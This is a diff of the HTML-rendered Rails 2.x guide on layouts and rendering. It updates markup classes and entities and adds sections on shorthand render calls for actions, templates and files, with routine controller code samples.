-<div class="para"><p>This guide focuses on the interaction between Controller and View in the Model-View-Controller triangle. As you know, the Controller is responsible for orchestrating the whole process of handling a request in Rails, though it normally hands off any heavy code to the Model. But then, when it's time to send a response back to the user, the Controller hands things off to the View. It's that handoff that is the subject of this guide.</p></div>
-<div class="para"><p>In broad strokes, this involves deciding what should be sent as the response and calling an appropriate method to create that response. If the response is a full-blown view, Rails also does some extra work to wrap the view in a layout and possibly to pull in partial views. You'll see all of those paths later in this guide.</p></div>
+<div class="paragraph"><p>This guide focuses on the interaction between Controller and View in the Model-View-Controller triangle. As you know, the Controller is responsible for orchestrating the whole process of handling a request in Rails, though it normally hands off any heavy code to the Model. But then, when it&#8217;s time to send a response back to the user, the Controller hands things off to the View. It&#8217;s that handoff that is the subject of this guide.</p></div>
+<div class="paragraph"><p>In broad strokes, this involves deciding what should be sent as the response and calling an appropriate method to create that response. If the response is a full-blown view, Rails also does some extra work to wrap the view in a layout and possibly to pull in partial views. You&#8217;ll see all of those paths later in this guide.</p></div>
</div>
<h2 id="_creating_responses">2. Creating Responses</h2>
<div class="sectionbody">
-<div class="para"><p>From the controller's point of view, there are three ways to create an HTTP response:</p></div>
-<div class="ilist"><ul>
+<div class="paragraph"><p>From the controller&#8217;s point of view, there are three ways to create an HTTP response:</p></div>
+<div class="ulist"><ul>
<li>
<p>
Call <tt>render</tt> to create a full response to send back to the browser
@@ -284,9 +123,9 @@ Call <tt>head</tt> to create a response consisting solely of HTTP headers to sen
</p>
</li>
</ul></div>
-<div class="para"><p>I'll cover each of these methods in turn. But first, a few words about the very easiest thing that the controller can do to create a response: nothing at all.</p></div>
+<div class="paragraph"><p>I&#8217;ll cover each of these methods in turn. But first, a few words about the very easiest thing that the controller can do to create a response: nothing at all.</p></div>
<h3 id="_rendering_by_default_convention_over_configuration_in_action">2.1. Rendering by Default: Convention Over Configuration in Action</h3>
-<div class="para"><p>You've heard that Rails promotes "convention over configuration." Default rendering is an excellent example of this. By default, controllers in Rails automatically render views with names that correspond to actions. For example, if you have this code in your <tt>BooksController</tt> class:</p></div>
+<div class="paragraph"><p>You&#8217;ve heard that Rails promotes "convention over configuration." Default rendering is an excellent example of this. By default, controllers in Rails automatically render views with names that correspond to actions. For example, if you have this code in your <tt>BooksController</tt> class:</p></div>
<div class="listingblock">
<div class="content"><!-- Generator: GNU source-highlight 2.9
by Lorenzo Bettini
@@ -294,19 +133,18 @@ http://www.lorenzobettini.it
http://www.gnu.org/software/src-highlite -->
<pre><tt><span style="font-weight: bold"><span style="color: #0000FF">def</span></span> show
<span style="color: #009900">@book</span> <span style="color: #990000">=</span> Book<span style="color: #990000">.</span>find<span style="color: #990000">(</span>params<span style="color: #990000">[:</span>id<span style="color: #990000">])</span>
-<span style="font-weight: bold"><span style="color: #0000FF">end</span></span>
-</tt></pre></div></div>
-<div class="para"><p>Rails will automatically render <tt>app/views/books/show.html.erb</tt> after running the method. In fact, if you have the default catch-all route in place (<tt>map.connect <em>:controller/:action/:id</em></tt>), Rails will even render views that don't have any code at all in the controller. For example, if you have the default route in place and a request comes in for <tt>/books/sale_list</tt>, Rails will render <tt>app/views/books/sale_list.html.erb</tt> in response.</p></div>
+<span style="font-weight: bold"><span style="color: #0000FF">end</span></span></tt></pre></div></div>
+<div class="paragraph"><p>Rails will automatically render <tt>app/views/books/show.html.erb</tt> after running the method. In fact, if you have the default catch-all route in place (<tt>map.connect ':controller/:action/:id'</tt>), Rails will even render views that don&#8217;t have any code at all in the controller. For example, if you have the default route in place and a request comes in for <tt>/books/sale_list</tt>, Rails will render <tt>app/views/books/sale_list.html.erb</tt> in response.</p></div>
<div class="admonitionblock">
<table><tr>
<td class="icon">
<img src="./images/icons/note.png" alt="Note" />
</td>
-<td class="content">The actual rendering is done by subclasses of <tt>ActionView::TemplateHandlers</tt>. This guide does not dig into that process, but it's important to know that the file extension on your view controls the choice of template handler. In Rails 2, the standard extensions are <tt>.erb</tt> for ERB (HTML with embedded Ruby), <tt>.rjs</tt> for RJS (javascript with embedded ruby) and <tt>.builder</tt> for Builder (XML generator). You'll also find <tt>.rhtml</tt> used for ERB templates and .rxml for Builder templates, but those extensions are now formally deprecated and will be removed from a future version of Rails.</td>
+<td class="content">The actual rendering is done by subclasses of <tt>ActionView::TemplateHandlers</tt>. This guide does not dig into that process, but it&#8217;s important to know that the file extension on your view controls the choice of template handler. In Rails 2, the standard extensions are <tt>.erb</tt> for ERB (HTML with embedded Ruby), <tt>.rjs</tt> for RJS (javascript with embedded ruby) and <tt>.builder</tt> for Builder (XML generator). You&#8217;ll also find <tt>.rhtml</tt> used for ERB templates and <tt>.rxml</tt> for Builder templates, but those extensions are now formally deprecated and will be removed from a future version of Rails.</td>
</tr></table>
</div>
<h3 id="_using_tt_render_tt">2.2. Using <tt>render</tt></h3>
-<div class="para"><p>In most cases, the <tt>ActionController::Base#render</tt> method does the heavy lifting of rendering your application's content for use by a browser. There are a variety of ways to customize the behavior of <tt>render</tt>. You can render the default view for a Rails template, or a specific template, or a file, or inline code, or nothing at all. You can render text, JSON, or XML. You can specify the content type or HTTP status of the rendered response as well.</p></div>
+<div class="paragraph"><p>In most cases, the <tt>ActionController::Base#render</tt> method does the heavy lifting of rendering your application&#8217;s content for use by a browser. There are a variety of ways to customize the behavior of <tt>render</tt>. You can render the default view for a Rails template, or a specific template, or a file, or inline code, or nothing at all. You can render text, JSON, or XML. You can specify the content type or HTTP status of the rendered response as well.</p></div>
<div class="admonitionblock">
<table><tr>
<td class="icon">
@@ -316,25 +154,55 @@ http://www.gnu.org/software/src-highlite -->
</tr></table>
</div>
<h4 id="_rendering_nothing">2.2.1. Rendering Nothing</h4>
-<div class="para"><p>Perhaps the simplest thing you can do with <tt>render</tt> is to render nothing at all:</p></div>
+<div class="paragraph"><p>Perhaps the simplest thing you can do with <tt>render</tt> is to render nothing at all:</p></div>
<div class="listingblock">
<div class="content"><!-- Generator: GNU source-highlight 2.9
by Lorenzo Bettini
http://www.lorenzobettini.it
http://www.gnu.org/software/src-highlite -->
-<pre><tt>render <span style="color: #990000">:</span>nothing <span style="color: #990000">=&gt;</span> <span style="font-weight: bold"><span style="color: #0000FF">true</span></span>
-</tt></pre></div></div>
-<div class="para"><p>This will send an empty response to the browser (though it will include any status headers you set with the :status option, discussed below).</p></div>
+<pre><tt>render <span style="color: #990000">:</span>nothing <span style="color: #990000">=&gt;</span> <span style="font-weight: bold"><span style="color: #0000FF">true</span></span></tt></pre></div></div>
+<div class="paragraph"><p>This will send an empty response to the browser (though it will include any status headers you set with the :status option, discussed below).</p></div>
<div class="admonitionblock">
<table><tr>
<td class="icon">
<img src="./images/icons/tip.png" alt="Tip" />
</td>
-<td class="content">You should probably be using the <tt>head</tt> method, discussed later in this guide, instead of <tt>render :nothing</tt>. This provides additional flexibility and makes it explicit that you're only generating HTTP headers.</td>
+<td class="content">You should probably be using the <tt>head</tt> method, discussed later in this guide, instead of <tt>render :nothing</tt>. This provides additional flexibility and makes it explicit that you&#8217;re only generating HTTP headers.</td>
</tr></table>
</div>
-<h4 id="_using_tt_render_tt_with_tt_action_tt">2.2.2. Using <tt>render</tt> with <tt>:action</tt></h4>
-<div class="para"><p>If you want to render the view that corresponds to a different action within the same template, you can use <tt>render</tt> with the <tt>:action</tt> option:</p></div>
+<h4 id="_rendering_an_action_8217_s_view">2.2.2. Rendering an Action&#8217;s View</h4>
+<div class="paragraph"><p>If you want to render the view that corresponds to a different action within the same template, you can use <tt>render</tt> with the name of the view:</p></div>
+<div class="listingblock">
+<div class="content"><!-- Generator: GNU source-highlight 2.9
+by Lorenzo Bettini
+http://www.lorenzobettini.it
+http://www.gnu.org/software/src-highlite -->
+<pre><tt><span style="font-weight: bold"><span style="color: #0000FF">def</span></span> update
+ <span style="color: #009900">@book</span> <span style="color: #990000">=</span> Book<span style="color: #990000">.</span>find<span style="color: #990000">(</span>params<span style="color: #990000">[:</span>id<span style="color: #990000">])</span>
+ <span style="font-weight: bold"><span style="color: #0000FF">if</span></span> <span style="color: #009900">@book</span><span style="color: #990000">.</span>update_attributes<span style="color: #990000">(</span>params<span style="color: #990000">[:</span>book<span style="color: #990000">])</span>
+ redirect_to<span style="color: #990000">(</span><span style="color: #009900">@book</span><span style="color: #990000">)</span>
+ <span style="font-weight: bold"><span style="color: #0000FF">else</span></span>
+ render <span style="color: #FF0000">"edit"</span>
+ <span style="font-weight: bold"><span style="color: #0000FF">end</span></span>
+ <span style="font-weight: bold"><span style="color: #0000FF">end</span></span>
+<span style="font-weight: bold"><span style="color: #0000FF">end</span></span></tt></pre></div></div>
+<div class="paragraph"><p>If the call to <tt>update_attributes</tt> fails, calling the <tt>update</tt> action in this controller will render the <tt>edit.html.erb</tt> template belonging to the same controller.</p></div>
+<div class="paragraph"><p>If you prefer, you can use a symbol instead of a string to specify the action to render:</p></div>
+<div class="listingblock">
+<div class="content"><!-- Generator: GNU source-highlight 2.9
+by Lorenzo Bettini
+http://www.lorenzobettini.it
+http://www.gnu.org/software/src-highlite -->
+<pre><tt><span style="font-weight: bold"><span style="color: #0000FF">def</span></span> update
+ <span style="color: #009900">@book</span> <span style="color: #990000">=</span> Book<span style="color: #990000">.</span>find<span style="color: #990000">(</span>params<span style="color: #990000">[:</span>id<span style="color: #990000">])</span>
+ <span style="font-weight: bold"><span style="color: #0000FF">if</span></span> <span style="color: #009900">@book</span><span style="color: #990000">.</span>update_attributes<span style="color: #990000">(</span>params<span style="color: #990000">[:</span>book<span style="color: #990000">])</span>
+ redirect_to<span style="color: #990000">(</span><span style="color: #009900">@book</span><span style="color: #990000">)</span>
+ <span style="font-weight: bold"><span style="color: #0000FF">else</span></span>
+ render <span style="color: #990000">:</span>edit
+ <span style="font-weight: bold"><span style="color: #0000FF">end</span></span>
+ <span style="font-weight: bold"><span style="color: #0000FF">end</span></span>
+<span style="font-weight: bold"><span style="color: #0000FF">end</span></span></tt></pre></div></div>
+<div class="paragraph"><p>To be explicit, you can use <tt>render</tt> with the <tt>:action</tt> option (though this is no longer necessary as of Rails 2.3):</p></div>
<div class="listingblock">
<div class="content"><!-- Generator: GNU source-highlight 2.9
by Lorenzo Bettini
@@ -348,9 +216,7 @@ http://www.gnu.org/software/src-highlite -->
render <span style="color: #990000">:</span>action <span style="color: #990000">=&gt;</span> <span style="color: #FF0000">"edit"</span>
<span style="font-weight: bold"><span style="color: #0000FF">end</span></span>
<span style="font-weight: bold"><span style="color: #0000FF">end</span></span>
-<span style="font-weight: bold"><span style="color: #0000FF">end</span></span>
-</tt></pre></div></div>
-<div class="para"><p>If the call to <tt>update_attributes_ fails, calling the +update</tt> action in this controller will render the <tt>edit.html.erb</tt> template belonging to the same controller.</p></div>
+<span style="font-weight: bold"><span style="color: #0000FF">end</span></span></tt></pre></div></div>
<div class="admonitionblock">
<table><tr>
<td class="icon">
@@ -359,42 +225,61 @@ http://www.gnu.org/software/src-highlite -->
<td class="content">Using <tt>render</tt> with <tt>:action</tt> is a frequent source of confusion for Rails newcomers. The specified action is used to determine which view to render, but Rails does <em>not</em> run any of the code for that action in the controller. Any instance variables that you require in the view must be set up in the current action before calling <tt>render</tt>.</td>
</tr></table>
</div>
-<h4 id="_using_tt_render_tt_with_tt_template_tt">2.2.3. Using <tt>render</tt> with <tt>:template</tt></h4>
-<div class="para"><p>What if you want to render a template from an entirely different controller from the one that contains the action code? You can do that with the <tt>:template</tt> option to <tt>render</tt>, which accepts the full path (relative to <tt>app/views</tt>) of the template to render. For example, if you're running code in an <tt>AdminProductsController</tt> that lives in <tt>app/controllers/admin</tt>, you can render the results of an action to a template in <tt>app/views/products</tt> this way:</p></div>
+<h4 id="_rendering_an_action_8217_s_template_from_another_controller">2.2.3. Rendering an Action&#8217;s Template from Another Controller</h4>
+<div class="paragraph"><p>What if you want to render a template from an entirely different controller from the one that contains the action code? You can also do that with <tt>render</tt>, which accepts the full path (relative to <tt>app/views</tt>) of the template to render. For example, if you&#8217;re running code in an <tt>AdminProductsController</tt> that lives in <tt>app/controllers/admin</tt>, you can render the results of an action to a template in <tt>app/views/products</tt> this way:</p></div>
+<div class="listingblock">
+<div class="content"><!-- Generator: GNU source-highlight 2.9
+by Lorenzo Bettini
+http://www.lorenzobettini.it
+http://www.gnu.org/software/src-highlite -->
+<pre><tt>render <span style="color: #FF0000">'products/show'</span></tt></pre></div></div>
+<div class="paragraph"><p>Rails knows that this view belongs to a different controller because of the embedded slash character in the string. If you want to be explicit, you can use the <tt>:template</tt> option (which was required on Rails 2.2 and earlier):</p></div>
+<div class="listingblock">
+<div class="content"><!-- Generator: GNU source-highlight 2.9
+by Lorenzo Bettini
+http://www.lorenzobettini.it
+http://www.gnu.org/software/src-highlite -->
+<pre><tt>render <span style="color: #990000">:</span>template <span style="color: #990000">=&gt;</span> <span style="color: #FF0000">'products/show'</span></tt></pre></div></div>
+<h4 id="_rendering_an_arbitrary_file">2.2.4. Rendering an Arbitrary File</h4>
+<div class="paragraph"><p>The <tt>render</tt> method can also use a view that&#8217;s entirely outside of your application (perhaps you&#8217;re sharing views between two Rails applications):</p></div>
<div class="listingblock">
<div class="content"><!-- Generator: GNU source-highlight 2.9
by Lorenzo Bettini
http://www.lorenzobettini.it
http://www.gnu.org/software/src-highlite -->
-<pre><tt>render <span style="color: #990000">:</span>template <span style="color: #990000">=&gt;</span> <span style="color: #FF0000">'products/show'</span>
-</tt></pre></div></div>
-<h4 id="_using_tt_render_tt_with_tt_file_tt">2.2.4. Using <tt>render</tt> with <tt>:file</tt></h4>
-<div class="para"><p>If you want to use a view that's entirely outside of your application (perhaps you're sharing views between two Rails applications), you can use the <tt>:file</tt> option to <tt>render</tt>:</p></div>
+<pre><tt>render <span style="color: #FF0000">"/u/apps/warehouse_app/current/app/views/products/show"</span></tt></pre></div></div>
+<div class="paragraph"><p>Rails determines that this is a file render because of the leading slash character. To be explicit, you can use the <tt>:file</tt> option (which was required on Rails 2.2 and earlier):</p></div>
<div class="listingblock">
<div class="content"><!-- Generator: GNU source-highlight 2.9
by Lorenzo Bettini
http://www.lorenzobettini.it
http://www.gnu.org/software/src-highlite -->
-<pre><tt>render <span style="color: #990000">:</span>file <span style="color: #990000">=&gt;</span> <span style="color: #FF0000">"/u/apps/warehouse_app/current/app/views/products/show"</span>
-</tt></pre></div></div>
-<div class="para"><p>The <tt>:file</tt> option takes an absolute file-system path. Of course, you need to have rights to the view that you're using to render the content.</p></div>
+<pre><tt>render <span style="color: #990000">:</span>file <span style="color: #990000">=&gt;</span> <span style="color: #FF0000">"/u/apps/warehouse_app/current/app/views/products/show"</span></tt></pre></div></div>
+<div class="paragraph"><p>The <tt>:file</tt> option takes an absolute file-system path. Of course, you need to have rights to the view that you&#8217;re using to render the content.</p></div>
<div class="admonitionblock">
<table><tr>
<td class="icon">
<img src="./images/icons/note.png" alt="Note" />
</td>
-<td class="content">By default, if you use the <tt>:file</tt> option, the file is rendered without using the current layout. If you want Rails to put the file into the current layout, you need to add the <tt>:layout &#8658; true</tt> option</td>
+<td class="content">By default, the file is rendered without using the current layout. If you want Rails to put the file into the current layout, you need to add the <tt>:layout =&gt; true</tt> option.</td>
+</tr></table>
+</div>
+<div class="admonitionblock">
+<table><tr>
+<td class="icon">
+<img src="./images/icons/tip.png" alt="Tip" />
+</td>
+<td class="content">If you&#8217;re running on Microsoft Windows, you should use the <tt>:file</tt> option to render a file, because Windows filenames do not have the same format as Unix filenames.</td>
</tr></table>
</div>
<h4 id="_using_tt_render_tt_with_tt_inline_tt">2.2.5. Using <tt>render</tt> with <tt>:inline</tt></h4>
-<div class="para"><p>The <tt>render</tt> method can do without a view completely, if you're willing to use the <tt>:inline</tt> option to supply ERB as part of the method call. This is perfectly valid:</p></div>
+<div class="paragraph"><p>The <tt>render</tt> method can do without a view completely, if you&#8217;re willing to use the <tt>:inline</tt> option to supply ERB as part of the method call. This is perfectly valid:</p></div>
<div class="listingblock">
<div class="content"><!-- Generator: GNU source-highlight 2.9
by Lorenzo Bettini
http://www.lorenzobettini.it
http://www.gnu.org/software/src-highlite -->
-<pre><tt>render <span style="color: #990000">:</span>inline <span style="color: #990000">=&gt;</span> <span style="color: #FF0000">"&lt;% products.each do |p| %&gt;&lt;p&gt;&lt;%= p.name %&gt;&lt;p&gt;&lt;% end %&gt;"</span>
-</tt></pre></div></div>
+<pre><tt>render <span style="color: #990000">:</span>inline <span style="color: #990000">=&gt;</span> <span style="color: #FF0000">"&lt;% products.each do |p| %&gt;&lt;p&gt;&lt;%= p.name %&gt;&lt;p&gt;&lt;% end %&gt;"</span></tt></pre></div></div>
<div class="admonitionblock">
<table><tr>
<td class="icon">
@@ -403,16 +288,15 @@ http://www.gnu.org/software/src-highlite -->
<td class="content">There is seldom any good reason to use this option. Mixing ERB into your controllers defeats the MVC orientation of Rails and will make it harder for other developers to follow the logic of your project. Use a separate erb view instead.</td>
</tr></table>
</div>
-<div class="para"><p>By default, inline rendering uses ERb. You can force it to use Builder instead with the <tt>:type</tt> option:</p></div>
+<div class="paragraph"><p>By default, inline rendering uses ERb. You can force it to use Builder instead with the <tt>:type</tt> option:</p></div>
<div class="listingblock">
<div class="content"><!-- Generator: GNU source-highlight 2.9
by Lorenzo Bettini
http://www.lorenzobettini.it
http://www.gnu.org/software/src-highlite -->
-<pre><tt>render <span style="color: #990000">:</span>inline <span style="color: #990000">=&gt;</span> <span style="color: #FF0000">"xml.p {'Horrid coding practice!'}"</span><span style="color: #990000">,</span> <span style="color: #990000">:</span>type <span style="color: #990000">=&gt;</span> <span style="color: #990000">:</span>builder
-</tt></pre></div></div>
+<pre><tt>render <span style="color: #990000">:</span>inline <span style="color: #990000">=&gt;</span> <span style="color: #FF0000">"xml.p {'Horrid coding practice!'}"</span><span style="color: #990000">,</span> <span style="color: #990000">:</span>type <span style="color: #990000">=&gt;</span> <span style="color: #990000">:</span>builder</tt></pre></div></div>
<h4 id="_using_tt_render_tt_with_tt_update_tt">2.2.6. Using <tt>render</tt> with <tt>:update</tt></h4>
-<div class="para"><p>You can also render javascript-based page updates inline using the <tt>:update</tt> option to <tt>render</tt>:</p></div>
+<div class="paragraph"><p>You can also render javascript-based page updates inline using the <tt>:update</tt> option to <tt>render</tt>:</p></div>
<div class="listingblock">
<div class="content"><!-- Generator: GNU source-highlight 2.9
by Lorenzo Bettini
@@ -420,8 +304,7 @@ http://www.lorenzobettini.it
http://www.gnu.org/software/src-highlite -->
<pre><tt>render <span style="color: #990000">:</span>update <span style="font-weight: bold"><span style="color: #0000FF">do</span></span> <span style="color: #990000">|</span>page<span style="color: #990000">|</span>
page<span style="color: #990000">.</span>replace_html <span style="color: #FF0000">'warning'</span><span style="color: #990000">,</span> <span style="color: #FF0000">"Invalid options supplied"</span>
-<span style="font-weight: bold"><span style="color: #0000FF">end</span></span>
-</tt></pre></div></div>
+<span style="font-weight: bold"><span style="color: #0000FF">end</span></span></tt></pre></div></div>
<div class="admonitionblock">
<table><tr>
<td class="icon">
@@ -431,20 +314,19 @@ http://www.gnu.org/software/src-highlite -->
</tr></table>
</div>
<h4 id="_rendering_text">2.2.7. Rendering Text</h4>
-<div class="para"><p>You can send plain text - with no markup at all - back to the browser by using the <tt>:text</tt> option to <tt>render</tt>:</p></div>
+<div class="paragraph"><p>You can send plain text - with no markup at all - back to the browser by using the <tt>:text</tt> option to <tt>render</tt>:</p></div>
<div class="listingblock">
<div class="content"><!-- Generator: GNU source-highlight 2.9
by Lorenzo Bettini
http://www.lorenzobettini.it
http://www.gnu.org/software/src-highlite -->
-<pre><tt>render <span style="color: #990000">:</span>text <span style="color: #990000">=&gt;</span> <span style="color: #FF0000">"OK"</span>
-</tt></pre></div></div>
+<pre><tt>render <span style="color: #990000">:</span>text <span style="color: #990000">=&gt;</span> <span style="color: #FF0000">"OK"</span></tt></pre></div></div>
<div class="admonitionblock">
<table><tr>
<td class="icon">
<img src="./images/icons/tip.png" alt="Tip" />
</td>
-<td class="content">Rendering pure text is most useful when you're responding to AJAX or web service requests that are expecting something other than proper HTML.</td>
+<td class="content">Rendering pure text is most useful when you&#8217;re responding to AJAX or web service requests that are expecting something other than proper HTML.</td>
</tr></table>
</div>
<div class="admonitionblock">
@@ -452,56 +334,53 @@ http://www.gnu.org/software/src-highlite -->
<td class="icon">
<img src="./images/icons/note.png" alt="Note" />
</td>
-<td class="content">By default, if you use the <tt>:text</tt> option, the file is rendered without using the current layout. If you want Rails to put the text into the current layout, you need to add the <tt>:layout &#8658; true</tt> option</td>
+<td class="content">By default, if you use the <tt>:text</tt> option, the file is rendered without using the current layout. If you want Rails to put the text into the current layout, you need to add the <tt>:layout =&gt; true</tt> option</td>
</tr></table>
</div>
<h4 id="_rendering_json">2.2.8. Rendering JSON</h4>
-<div class="para"><p>JSON is a javascript data format used by many AJAX libraries. Rails has built-in support for converting objects to JSON and rendering that JSON back to the browser:</p></div>
+<div class="paragraph"><p>JSON is a javascript data format used by many AJAX libraries. Rails has built-in support for converting objects to JSON and rendering that JSON back to the browser:</p></div>
<div class="listingblock">
<div class="content"><!-- Generator: GNU source-highlight 2.9
by Lorenzo Bettini
http://www.lorenzobettini.it
http://www.gnu.org/software/src-highlite -->
-<pre><tt>render <span style="color: #990000">:</span>json <span style="color: #990000">=&gt;</span> <span style="color: #009900">@product</span>
-</tt></pre></div></div>
+<pre><tt>render <span style="color: #990000">:</span>json <span style="color: #990000">=&gt;</span> <span style="color: #009900">@product</span></tt></pre></div></div>
<div class="admonitionblock">
<table><tr>
<td class="icon">
<img src="./images/icons/tip.png" alt="Tip" />
</td>
-<td class="content">You don't need to call <tt>to_json</tt> on the object that you want to render. If you use the <tt>:json</tt> option, <tt>render</tt> will automatically call <tt>to_json</tt> for you.</td>
+<td class="content">You don&#8217;t need to call <tt>to_json</tt> on the object that you want to render. If you use the <tt>:json</tt> option, <tt>render</tt> will automatically call <tt>to_json</tt> for you.</td>
</tr></table>
</div>
<h4 id="_rendering_xml">2.2.9. Rendering XML</h4>
-<div class="para"><p>Rails also has built-in support for converting objects to XML and rendering that XML back to the caller:</p></div>
+<div class="paragraph"><p>Rails also has built-in support for converting objects to XML and rendering that XML back to the caller:</p></div>
<div class="listingblock">
<div class="content"><!-- Generator: GNU source-highlight 2.9
by Lorenzo Bettini
http://www.lorenzobettini.it
http://www.gnu.org/software/src-highlite -->
-<pre><tt>render <span style="color: #990000">:</span>xml <span style="color: #990000">=&gt;</span> <span style="color: #009900">@product</span>
-</tt></pre></div></div>
+<pre><tt>render <span style="color: #990000">:</span>xml <span style="color: #990000">=&gt;</span> <span style="color: #009900">@product</span></tt></pre></div></div>
<div class="admonitionblock">
<table><tr>
<td class="icon">
<img src="./images/icons/tip.png" alt="Tip" />
</td>
-<td class="content">You don't need to call <tt>to_xml</tt> on the object that you want to render. If you use the <tt>:xml</tt> option, <tt>render</tt> will automatically call <tt>to_xml</tt> for you.</td>
+<td class="content">You don&#8217;t need to call <tt>to_xml</tt> on the object that you want to render. If you use the <tt>:xml</tt> option, <tt>render</tt> will automatically call <tt>to_xml</tt> for you.</td>
</tr></table>
</div>
<h4 id="_rendering_vanilla_javascript">2.2.10. Rendering Vanilla JavaScript</h4>
-<div class="para"><p>Rails can render vanilla JavaScript (as an alternative to using <tt>update</tt> with n <tt>.rjs</tt> file):</p></div>
+<div class="paragraph"><p>Rails can render vanilla JavaScript (as an alternative to using <tt>update</tt> with n <tt>.rjs</tt> file):</p></div>
<div class="listingblock">
<div class="content"><!-- Generator: GNU source-highlight 2.9
by Lorenzo Bettini
http://www.lorenzobettini.it
http://www.gnu.org/software/src-highlite -->
-<pre><tt>render <span style="color: #990000">:</span>js <span style="color: #990000">=&gt;</span> <span style="color: #FF0000">"alert('Hello Rails');"</span>
-</tt></pre></div></div>
-<div class="para"><p>This will send the supplied string to the browser with a MIME type of <tt>text/javascript</tt>.</p></div>
+<pre><tt>render <span style="color: #990000">:</span>js <span style="color: #990000">=&gt;</span> <span style="color: #FF0000">"alert('Hello Rails');"</span></tt></pre></div></div>
+<div class="paragraph"><p>This will send the supplied string to the browser with a MIME type of <tt>text/javascript</tt>.</p></div>
<h4 id="_options_for_tt_render_tt">2.2.11. Options for <tt>render</tt></h4>
-<div class="para"><p>Calls to the <tt>render</tt> method generally accept four options:</p></div>
-<div class="ilist"><ul>
+<div class="paragraph"><p>Calls to the <tt>render</tt> method generally accept four options:</p></div>
+<div class="ulist"><ul>
<li>
<p>
<tt>:content_type</tt>
@@ -524,56 +403,51 @@ http://www.gnu.org/software/src-highlite -->
</li>
</ul></div>
<h5 id="_the_tt_content_type_tt_option">The <tt>:content_type</tt> Option</h5>
-<div class="para"><p>By default, Rails will serve the results of a rendering operation with the MIME content-type of <tt>text/html</tt> (or <tt>application/json</tt> if you use the <tt>:json</tt> option, or <tt>application/xml</tt> for the <tt>:xml</tt> option.). There are times when you might like to change this, and you can do so by setting the <tt>:content_type</tt> option:</p></div>
+<div class="paragraph"><p>By default, Rails will serve the results of a rendering operation with the MIME content-type of <tt>text/html</tt> (or <tt>application/json</tt> if you use the <tt>:json</tt> option, or <tt>application/xml</tt> for the <tt>:xml</tt> option.). There are times when you might like to change this, and you can do so by setting the <tt>:content_type</tt> option:</p></div>
<div class="listingblock">
<div class="content"><!-- Generator: GNU source-highlight 2.9
by Lorenzo Bettini
http://www.lorenzobettini.it
http://www.gnu.org/software/src-highlite -->
-<pre><tt>render <span style="color: #990000">:</span>file <span style="color: #990000">=&gt;</span> filename<span style="color: #990000">,</span> <span style="color: #990000">:</span>content_type <span style="color: #990000">=&gt;</span> <span style="color: #FF0000">'application/rss'</span>
-</tt></pre></div></div>
+<pre><tt>render <span style="color: #990000">:</span>file <span style="color: #990000">=&gt;</span> filename<span style="color: #990000">,</span> <span style="color: #990000">:</span>content_type <span style="color: #990000">=&gt;</span> <span style="color: #FF0000">'application/rss'</span></tt></pre></div></div>
<h5 id="_the_tt_layout_tt_option">The <tt>:layout</tt> Option</h5>
-<div class="para"><p>With most of the options to <tt>render</tt>, the rendered content is displayed as part of the current layout. You'll learn more about layouts and how to use them later in this guide.</p></div>
-<div class="para"><p>You can use the <tt>:layout</tt> option to tell Rails to use a specific file as the layout for the current action:</p></div>
+<div class="paragraph"><p>With most of the options to <tt>render</tt>, the rendered content is displayed as part of the current layout. You&#8217;ll learn more about layouts and how to use them later in this guide.</p></div>
+<div class="paragraph"><p>You can use the <tt>:layout</tt> option to tell Rails to use a specific file as the layout for the current action:</p></div>
<div class="listingblock">
<div class="content"><!-- Generator: GNU source-highlight 2.9
by Lorenzo Bettini
http://www.lorenzobettini.it
http://www.gnu.org/software/src-highlite -->
-<pre><tt>render <span style="color: #990000">:</span>layout <span style="color: #990000">=&gt;</span> <span style="color: #FF0000">'special_layout'</span>
-</tt></pre></div></div>
-<div class="para"><p>You can also tell Rails to render with no layout at all:</p></div>
+<pre><tt>render <span style="color: #990000">:</span>layout <span style="color: #990000">=&gt;</span> <span style="color: #FF0000">'special_layout'</span></tt></pre></div></div>
+<div class="paragraph"><p>You can also tell Rails to render with no layout at all:</p></div>
<div class="listingblock">
<div class="content"><!-- Generator: GNU source-highlight 2.9
by Lorenzo Bettini
http://www.lorenzobettini.it
http://www.gnu.org/software/src-highlite -->
-<pre><tt>render <span style="color: #990000">:</span>layout <span style="color: #990000">=&gt;</span> <span style="font-weight: bold"><span style="color: #0000FF">false</span></span>
-</tt></pre></div></div>
+<pre><tt>render <span style="color: #990000">:</span>layout <span style="color: #990000">=&gt;</span> <span style="font-weight: bold"><span style="color: #0000FF">false</span></span></tt></pre></div></div>
<h5 id="_the_tt_status_tt_option">The <tt>:status</tt> Option</h5>
-<div class="para"><p>Rails will automatically generate a response with the correct HTML status code (in most cases, this is <tt>200 OK</tt>). You can use the <tt>:status</tt> option to change this:</p></div>
+<div class="paragraph"><p>Rails will automatically generate a response with the correct HTML status code (in most cases, this is <tt>200 OK</tt>). You can use the <tt>:status</tt> option to change this:</p></div>
<div class="listingblock">
<div class="content"><!-- Generator: GNU source-highlight 2.9
by Lorenzo Bettini
http://www.lorenzobettini.it
http://www.gnu.org/software/src-highlite -->
<pre><tt>render <span style="color: #990000">:</span>status <span style="color: #990000">=&gt;</span> <span style="color: #993399">500</span>
-render <span style="color: #990000">:</span>status <span style="color: #990000">=&gt;</span> <span style="color: #990000">:</span>forbidden
-</tt></pre></div></div>
-<div class="para"><p>Rails understands either numeric status codes or symbols for status codes. You can find its list of status codes in <tt>actionpack/lib/action_controller/status_codes.rb</tt>. You can also see there how it maps symbols to status codes in that file.</p></div>
+render <span style="color: #990000">:</span>status <span style="color: #990000">=&gt;</span> <span style="color: #990000">:</span>forbidden</tt></pre></div></div>
+<div class="paragraph"><p>Rails understands either numeric status codes or symbols for status codes. You can find its list of status codes in <tt>actionpack/lib/action_controller/status_codes.rb</tt>. You can also see there how it maps symbols to status codes in that file.</p></div>
<h5 id="_the_tt_location_tt_option">The <tt>:location</tt> Option</h5>
-<div class="para"><p>You can use the <tt>:location</tt> option to set the HTTP <tt>Location</tt> header:</p></div>
+<div class="paragraph"><p>You can use the <tt>:location</tt> option to set the HTTP <tt>Location</tt> header:</p></div>
<div class="listingblock">
<div class="content"><!-- Generator: GNU source-highlight 2.9
by Lorenzo Bettini
http://www.lorenzobettini.it
http://www.gnu.org/software/src-highlite -->
-<pre><tt>render <span style="color: #990000">:</span>xml <span style="color: #990000">=&gt;</span> photo<span style="color: #990000">,</span> <span style="color: #990000">:</span>location <span style="color: #990000">=&gt;</span> photo_url<span style="color: #990000">(</span>photo<span style="color: #990000">)</span>
-</tt></pre></div></div>
